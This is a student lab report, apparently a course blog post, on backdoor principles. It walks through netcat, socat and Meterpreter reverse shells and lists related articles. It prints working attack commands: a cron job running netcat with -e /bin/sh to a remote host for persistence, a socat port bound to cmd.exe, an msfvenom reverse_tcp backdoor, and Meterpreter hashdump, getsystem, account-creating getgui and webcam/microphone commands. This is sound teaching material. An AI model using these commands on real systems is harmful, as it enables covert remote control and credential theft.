20155337 《网络对抗》 Exp2 后门原理与实践

一、基础问题回答

- 例举你能想到的一个后门进入到你系统中的可能方式?

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

- 例举你知道的后门如何启动起来(win及linux)的方式?

最著名的后门程序,该算是微软的Windows Update了。Windows Update的动作不外乎以下三个:开机时自动连上微软的网站,将电脑的现况报告给网站以进行处理,网站通过Windows Update程序通知使用者是否有必须更新的文件,以及如何更新。如果我们针对这些动作进行分析,则“开机时自动连上微软网站”的动作就是后门程序特性中的“潜伏”,而“将电脑现况报告”的动作是“搜集信息”。因此,虽然微软“信誓旦旦”地说它不会搜集个人电脑中的信息,但如果我们从Windows Update来进行分析的话,就会发现它必须搜集个人电脑的信息才能进行操作,所差者只是搜集了哪些信息而已。

- Meterpreter有哪些给你映像深刻的功能?

  • 特色功能1:快速提权
    Getsystem命令快速提权
    实在没有比这个简单的了
    一条指令你就拥有了System权限
    Meterpreter会自己尝试用多种方法让你获得System权限
  • 特色功能2:Hashdump
    运行这个命令:run post/windows/gather/hashdump
    一条命令你就能够获得Windows的Sam 数据库里的内容
    就是经过加密的用户名和密码
  • 特色功能3:直接打开3389
    Getgui命令是Meterpreter新添加的命令
    这个命令能够让你轻松的在目标系统上打开3389远程管理
    这条命令有两个用法:run getgui -e(仅仅是打开远程管理)
    run getgui -u hacker -p s3cr3t(打开远程管理并且创造一个新的用户名为Hacker密码为s3cr3t的帐号)
  • 特色功能4:网络嗅探
    Meterpreter拥有非常强大的网络嗅探能力
    它能够不在目标系统上安装任何驱动的情况下进行网络嗅探
    而且它还聪明到了自己的流量要被忽略掉
    特色功能5:网络中继
    往往入侵局域网黑客碰到的最大困难时无法穿过NAT
    现在有了Meterpreter就轻松了
    Meterpreter能够让一台你已经入侵的电脑变成中继,来入侵同一个局域网里的其他电脑
    特色功能6:截屏
    截屏看到对方电脑上正在做什么

- 如何发现自己有系统有没有被安装后门?

没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
下载专门的监控软件,对操作系统中的进程进行监控,看是否存在异常。

二、常用后门工具实践

Windows获得Linux Shell

  • 在Windows下,先使用ipconfig指令查看本机IP:10.1.1.141

  • 使用ncat.exe程序监听本机的5337端口:

  • 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5337端口

  • Windows下成功获得了一个Kali的shell,运行ls指令如下:

Linux获得Windows Shell

  • 过程与之前的类似,在Kali环境下用ifconfig查看IP:

  • 使用nc指令监听5337端口:

  • 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5337端口:

  • Kali下可以看到Windows的命令提示,可以输入Windows命令:

  • 使用nc传输数据
  • Windows下监听5337端口:

  • Kali下连接到Windows的5337端口:

建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:

实验内容

使用netcat获取主机操作Shell,cron启动

  • 先在Windows系统下,监听5337端口:

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行
  • 在最后一行添加31 * * * * /bin/netcat 192.168.1.103 5337 -e /bin/sh,意思是在每个小时的第31分钟反向连接Windows主机的5337端口,设置成31的原因是我当时的时间是13点29,为了能立马看到效果,所以我将时间设置在了2分钟以后:

  • 当时间到了13点31时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了31分时会立马显示出来):

使用socat获取主机操作Shell, 任务计划启动

基础知识

socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。

socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
    在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5337 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5337,同时把cmd.exe的stderr重定向到stdout上:
    创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

此时,在Kali环境下输入指令socat - tcp:192.168.1.103:5337,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5337端口,此时可以发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.128 LPORT=5337 -f exe > 2015337_backdoor.exe
生成后门程序:

通过nc指令将生成的后门程序传送到Windows主机上:

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口

Linux使用exploit命令开始监听,此时在Win上执行后门程序。

打开Windows上的后门程序:

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

录音功能:record_mic

拍照功能:webcam_snap

拍摄视频功能:webcam_stream

记录击键功能:screenshot

提权:getuid以及getsystem

20155337 《网络对抗》 Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. jQuery星级评论表单美化代码

    最近正在做php第二阶段的项目,由于我们小组做的是游戏评论网站,所以需要用到评分评论的页面,这里我做了个星级评论表单 1.首先,我们需要引入一个jQuery文件,代码如下: /*! * jQuery ...

  2. ionic之angular1.X缓存问题解决

    众所周知ionic的angular1.X解决缓存的问题有: 1.在app.js里面修改:默认是true,设置了缓存 .state('tab.msg-main', { url: '/msg-main', ...

  3. 安卓开发环境配置之Windows+ADT+eclipse

    安卓环境搭建之Windows+ADT+eclipse 要点: 1.安装JDK 2.安装Android SDK 3.安装eclipse 4.安装ADT 5.安装调试环境 正文: 1.安装JDK 1.1准 ...

  4. [经典Bug]Android-初始化闪屏不消失

    问题描述: 业务上初始化过程要求显示闪屏界面,某个版本更新后,发现部分场景下,初始化完成后闪屏界面不消失. 问题原因: 初始化是在子线程进行,闪屏属于UI界面,需要UI线程展示.初始化过程和闪屏显示在 ...

  5. LeetCode题解之Binary Tree Tilt

    1.题目描述 2.分析 利用递归实现. 3.代码 int findTilt(TreeNode* root) { if (root == NULL) ; ; nodesTilt(root,ans); r ...

  6. LeetCode题解之Remove Nth Node From End of List

    1.题目描述 2.问题分析 直接计算,操作. 3.代码 ListNode* removeNthFromEnd(ListNode* head, int n) { if (head == NULL) re ...

  7. 前端开发使用Photoshop切图详细步骤

    切图的主要目的是从设计师提供的psd中获取网页制作所要的资源 一.界面设置 1. 新建文件,调整界面大小,背景设置为透明 2. 自动选择,把组切换为图层 3. 添加窗口内容,一共四项:图层.历史纪录. ...

  8. css继承属性与非继承属性

    一.无继承性的属性 1.display:规定元素应该生成的框的类型 2.文本属性: vertical-align:垂直文本对齐 text-decoration:规定添加到文本的装饰 text-shad ...

  9. python基础学习9----深浅拷贝

    数据类型有可变类型和不可变类型 不可变类型:整型,长整型,浮点数,复数,布尔,字符串,元组 可变类型:列表,字典 浅拷贝 简单说只对第一层进行拷贝,如下对于列表中的列表的数据进行改变,list1和li ...

  10. Linux运维之shell脚本基础知识

    1.bash中的算术运算 let运算符 [root@:vg_adn_tidbCkhsTest ~/tidb-bench/sysbench]#echo $i [root@:vg_adn_tidbCkhs ...